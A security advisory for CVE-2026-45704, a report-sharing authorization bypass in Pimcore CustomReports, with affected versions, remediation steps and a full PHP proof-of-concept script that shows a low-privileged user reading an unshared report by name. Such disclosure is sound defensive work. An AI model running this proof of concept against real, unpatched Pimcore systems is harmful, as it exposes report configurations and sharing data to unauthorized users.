GHSA-JWCC-GV4M-93X6

Vulnerability from github – Published: 2026-05-27 22:34 – Updated: 2026-07-10 19:07
VLAI
Summary
Pimcore has a CustomReports Share Bypass
Details

Summary

CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.

  • The listing flow filters reports based on report-sharing rules
  • The detail flow only checks generic reports or reports_config permissions

As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.

In the local Docker reproduction:

  • The report poc-secret-report was not visible to the low-privileged user in the report list
  • The same user was still able to retrieve the report configuration directly by name

Root Cause

The listing flow in getReportConfigAction() filters reports through loadForGivenUser():

However, getAction() only checks generic permissions and then loads the report directly by name:

This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.

Impact

An attacker can read sensitive report metadata without authorization, including:

  • Report name
  • Grouping information
  • Display and icon metadata
  • Data source configuration
  • Column configuration
  • Sharing settings

From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:

This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the reports permission
  • The target report is not globally shared and is not shared with that user or the user's roles

PoC

<?php
declare(strict_types=1);

use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_customreports');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_customreports');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
    $auditor->setPermissions(['reports']);
    $auditor->setRoles([]);
    $auditor->save();

    $timestamp = time();
    SettingsStore::set(
        'poc-secret-report',
        json_encode([
            'name' => 'poc-secret-report',
            'niceName' => 'PoC Secret Report',
            'group' => 'Audit',
            'dataSourceConfig' => [['type' => 'sql']],
            'columnConfiguration' => [],
            'shareGlobally' => false,
            'sharedUserNames' => ['admin'],
            'sharedRoleNames' => [],
            'menuShortcut' => true,
            'creationDate' => $timestamp,
            'modificationDate' => $timestamp,
        ], JSON_THROW_ON_ERROR),
        SettingsStore::TYPE_STRING,
        'pimcore_custom_reports'
    );

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new CustomReportController(), $container, $tokenResolver);

    $listRequest = new Request();
    $requestStack->push($listRequest);
    $listResponse = $controller->getReportConfigAction($listRequest);
    $requestStack->pop();
    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $getRequest = new Request(['name' => 'poc-secret-report']);
    $requestStack->push($getRequest);
    $getResponse = $controller->getAction($getRequest);
    $requestStack->pop();
    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);

    echo json_encode([
        'vulnerability' => 'customreports_share_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_report' => [
            'name' => 'poc-secret-report',
            'shared_to' => ['admin'],
            'share_globally' => false,
        ],
        'result' => [
            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
            'listed_report_names' => $listedNames,
            'direct_get_returned_name' => $getData['name'] ?? null,
            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor_customreports with the reports permission.
  2. Create a report named poc-secret-report with:
  3. shareGlobally = false
  4. sharedUserNames = ['admin']
  5. As auditor_customreports, request the visible report list and verify that poc-secret-report is absent.
  6. As the same user, call getAction(name=poc-secret-report) directly.
  7. Verify that the response still contains the report configuration.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "customreports_share_bypass",
  "user": {
    "name": "auditor_customreports",
    "permissions": [
      "reports"
    ]
  },
  "target_report": {
    "name": "poc-secret-report",
    "shared_to": [
      "admin"
    ],
    "share_globally": false
  },
  "result": {
    "report_visible_in_list": false,
    "listed_report_names": [],
    "direct_get_returned_name": "poc-secret-report",
    "direct_get_shared_user_names": [
      "admin"
    ]
  }
}

This shows that:

  • The current user cannot see the report in the visible report list
  • The same user can still retrieve the report configuration directly

This confirms that the share-bypass issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of report configuration
  • Disclosure of sharing scope and internal report structure
  • Potential leakage of data-source and query organization details
  • Useful reconnaissance for follow-on unauthorized execution or export paths

Remediation

  1. Add object-level sharing checks to getAction() equivalent to loadForGivenUser().
  2. Centralize authorization into a single "can current user access this report?" function reused by get, data, chart, create-csv, and download-csv.
  3. Return 403 for unshared reports.
  4. Add regression tests to ensure that users with reports permission but without report-sharing access cannot retrieve report details.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0-RC1"
            },
            {
              "fixed": "12.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.5.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:34:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint.\n\n- The listing flow filters reports based on report-sharing rules\n- The detail flow only checks generic `reports` or `reports_config` permissions\n\nAs a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user\u0027s visible report list.\n\nIn the local Docker reproduction:\n\n- The report `poc-secret-report` was not visible to the low-privileged user in the report list\n- The same user was still able to retrieve the report configuration directly by name\n\n### Root Cause\n\nThe listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)\n- [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44)\n- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)\n\nHowever, `getAction()` only checks generic permissions and then loads the report directly by name:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)\n\nThis means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic \"not visible in list, but readable by direct request\" access-control bypass.\n\n### Impact\n\nAn attacker can read sensitive report metadata without authorization, including:\n\n- Report name\n- Grouping information\n- Display and icon metadata\n- Data source configuration\n- Column configuration\n- Sharing settings\n\nFrom the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)\n\nThis report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `reports` permission\n- The target report is not globally shared and is not shared with that user or the user\u0027s roles\n\n### PoC\n\n```php\n\u003c?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\CustomReportsBundle\\Controller\\Reports\\CustomReportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Model\\Tool\\SettingsStore;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . \u0027/vendor/autoload.php\u0027;\n\ndefine(\u0027PIMCORE_PROJECT_ROOT\u0027, dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel(\u0027dev\u0027, true);\n    \\Pimcore::setKernel($kernel);\n    $kernel-\u003eboot();\n\n    $container = $kernel-\u003egetContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        \u0027request_stack\u0027,\n    ]);\n\n    $admin = User::getByName(\u0027admin\u0027);\n    if (!$admin instanceof User) {\n        fail(\u0027admin user is missing\u0027);\n    }\n\n    $auditor = User::getByName(\u0027auditor_customreports\u0027);\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor-\u003esetParentId(0);\n        $auditor-\u003esetName(\u0027auditor_customreports\u0027);\n    }\n\n    $auditor-\u003esetAdmin(false);\n    $auditor-\u003esetActive(true);\n    $auditor-\u003esetPassword(Authentication::getPasswordHash(\u0027auditor_customreports\u0027, \u0027auditor-pass\u0027));\n    $auditor-\u003esetPermissions([\u0027reports\u0027]);\n    $auditor-\u003esetRoles([]);\n    $auditor-\u003esave();\n\n    $timestamp = time();\n    SettingsStore::set(\n        \u0027poc-secret-report\u0027,\n        json_encode([\n            \u0027name\u0027 =\u003e \u0027poc-secret-report\u0027,\n            \u0027niceName\u0027 =\u003e \u0027PoC Secret Report\u0027,\n            \u0027group\u0027 =\u003e \u0027Audit\u0027,\n            \u0027dataSourceConfig\u0027 =\u003e [[\u0027type\u0027 =\u003e \u0027sql\u0027]],\n            \u0027columnConfiguration\u0027 =\u003e [],\n            \u0027shareGlobally\u0027 =\u003e false,\n            \u0027sharedUserNames\u0027 =\u003e [\u0027admin\u0027],\n            \u0027sharedRoleNames\u0027 =\u003e [],\n            \u0027menuShortcut\u0027 =\u003e true,\n            \u0027creationDate\u0027 =\u003e $timestamp,\n            \u0027modificationDate\u0027 =\u003e $timestamp,\n        ], JSON_THROW_ON_ERROR),\n        SettingsStore::TYPE_STRING,\n        \u0027pimcore_custom_reports\u0027\n    );\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new CustomReportController(), $container, $tokenResolver);\n\n    $listRequest = new Request();\n    $requestStack-\u003epush($listRequest);\n    $listResponse = $controller-\u003egetReportConfigAction($listRequest);\n    $requestStack-\u003epop();\n    $listData = json_decode($listResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $getRequest = new Request([\u0027name\u0027 =\u003e \u0027poc-secret-report\u0027]);\n    $requestStack-\u003epush($getRequest);\n    $getResponse = $controller-\u003egetAction($getRequest);\n    $requestStack-\u003epop();\n    $getData = json_decode($getResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $listedNames = array_map(static fn (array $item): string =\u003e $item[\u0027name\u0027], $listData[\u0027reports\u0027] ?? []);\n\n    echo json_encode([\n        \u0027vulnerability\u0027 =\u003e \u0027customreports_share_bypass\u0027,\n        \u0027user\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $auditor-\u003egetId(),\n            \u0027name\u0027 =\u003e $auditor-\u003egetName(),\n            \u0027permissions\u0027 =\u003e $auditor-\u003egetPermissions(),\n        ],\n        \u0027target_report\u0027 =\u003e [\n            \u0027name\u0027 =\u003e \u0027poc-secret-report\u0027,\n            \u0027shared_to\u0027 =\u003e [\u0027admin\u0027],\n            \u0027share_globally\u0027 =\u003e false,\n        ],\n        \u0027result\u0027 =\u003e [\n            \u0027report_visible_in_list\u0027 =\u003e in_array(\u0027poc-secret-report\u0027, $listedNames, true),\n            \u0027listed_report_names\u0027 =\u003e $listedNames,\n            \u0027direct_get_returned_name\u0027 =\u003e $getData[\u0027name\u0027] ?? null,\n            \u0027direct_get_shared_user_names\u0027 =\u003e $getData[\u0027sharedUserNames\u0027] ?? null,\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        \u0027%s: %s in %s:%d%s\u0027,\n        $e::class,\n        $e-\u003egetMessage(),\n        $e-\u003egetFile(),\n        $e-\u003egetLine(),\n        $e-\u003egetTraceAsString() ? PHP_EOL . $e-\u003egetTraceAsString() : \u0027\u0027\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller-\u003esetContainer($container);\n    $controller-\u003esetTokenResolver($tokenResolver);\n\n    if (method_exists($controller, \u0027setPimcoreSerializer\u0027)) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            \u0027Pimcore\\\\Serializer\\\\Serializer\u0027,\n        ]);\n        $controller-\u003esetPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, \u0027pimcore_admin\u0027, $proxyUser-\u003egetRoles());\n    $tokenStorage-\u003esetToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container-\u003ehas($id)) {\n                return $container-\u003eget($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail(\u0027Unable to resolve service: \u0027 . implode(\u0027, \u0027, $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_customreports` with the `reports` permission.\n2. Create a report named `poc-secret-report` with:\n   - `shareGlobally = false`\n   - `sharedUserNames = [\u0027admin\u0027]`\n3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent.\n4. As the same user, call `getAction(name=poc-secret-report)` directly.\n5. Verify that the response still contains the report configuration.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php poc_customreports.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"customreports_share_bypass\",\n  \"user\": {\n    \"name\": \"auditor_customreports\",\n    \"permissions\": [\n      \"reports\"\n    ]\n  },\n  \"target_report\": {\n    \"name\": \"poc-secret-report\",\n    \"shared_to\": [\n      \"admin\"\n    ],\n    \"share_globally\": false\n  },\n  \"result\": {\n    \"report_visible_in_list\": false,\n    \"listed_report_names\": [],\n    \"direct_get_returned_name\": \"poc-secret-report\",\n    \"direct_get_shared_user_names\": [\n      \"admin\"\n    ]\n  }\n}\n```\n\nThis shows that:\n\n- The current user cannot see the report in the visible report list\n- The same user can still retrieve the report configuration directly\n\nThis confirms that the share-bypass issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of report configuration\n- Disclosure of sharing scope and internal report structure\n- Potential leakage of data-source and query organization details\n- Useful reconnaissance for follow-on unauthorized execution or export paths\n\n### Remediation\n\n1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`.\n2. Centralize authorization into a single \"can current user access this report?\" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`.\n3. Return `403` for unshared reports.\n4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.",
  "id": "GHSA-jwcc-gv4m-93x6",
  "modified": "2026-07-10T19:07:34Z",
  "published": "2026-05-27T22:34:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/pull/19099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pimcore has a CustomReports Share Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…